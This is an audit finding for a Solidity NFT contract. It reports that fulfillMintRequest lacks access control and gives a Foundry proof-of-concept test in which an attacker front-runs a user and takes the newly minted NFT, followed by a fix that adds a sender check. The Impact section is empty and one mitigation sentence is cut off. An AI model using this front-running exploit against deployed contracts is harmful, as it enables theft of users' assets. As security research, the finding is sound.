Root + Impact
A malicious actor monitoring mempool transactions could front-run the requestMintWeatherNFT function by calling fulfillMintRequest() with a known requestId, stealing the NFT intended for another user.
Description
The fulfillMintRequest(bytes32 requestId) function is responsible for minting NFTs based on data retrieved via requestMintWeatherNFT function.
This function is declared as external and currently has no access control modifiers to restrict who can call it. Therefore any address can invoke this function, regardless of whether they initiated the original request or not.
@> function fulfillMintRequest(bytes32 requestId) external {
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId].response;
bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
if (response.length == 0 || err.length > 0) {
return;
}
...
Impact:
Proof of Concept
add this to the test file
function test_weather_NFT_can_be_stolen() public {
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = true;
uint256 heartbeat = 12 hours;
uint256 initLinkDeposit = 1e17;
uint256 tokenId = weatherNft.s_tokenCounter();
vm.startPrank(user);
linkToken.approve(address(weatherNft), initLinkDeposit);
vm.recordLogs();
weatherNft.requestMintWeatherNFT{value: weatherNft.s_currentMintPrice()}(
pincode,
isoCode,
registerKeeper,
heartbeat,
initLinkDeposit
);
vm.stopPrank();
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 reqId;
for (uint256 i; i < logs.length; i++) {
if (logs[i].topics[0] == keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
(, , , reqId) = abi.decode(logs[i].data, (address, string, string, bytes32));
break;
}
}
vm.prank(functionsRouter);
bytes memory weatherResponse = abi.encode(WeatherNftStore.Weather.RAINY);
weatherNft.handleOracleFulfillment(reqId, weatherResponse, "");
vm.prank(Attacker);
weatherNft.fulfillMintRequest(reqId);
assertEq(weatherNft.ownerOf(tokenId), Attacker);
}
Recommended Mitigation
Implement strict access control to ensure that only a trusted entity
function fulfillMintRequest(bytes32 requestId) external {
+ require(msg.sender == s_funcReqIdToUserMintReq[requestId].user, "Unauthorized");
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId].response;
bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
...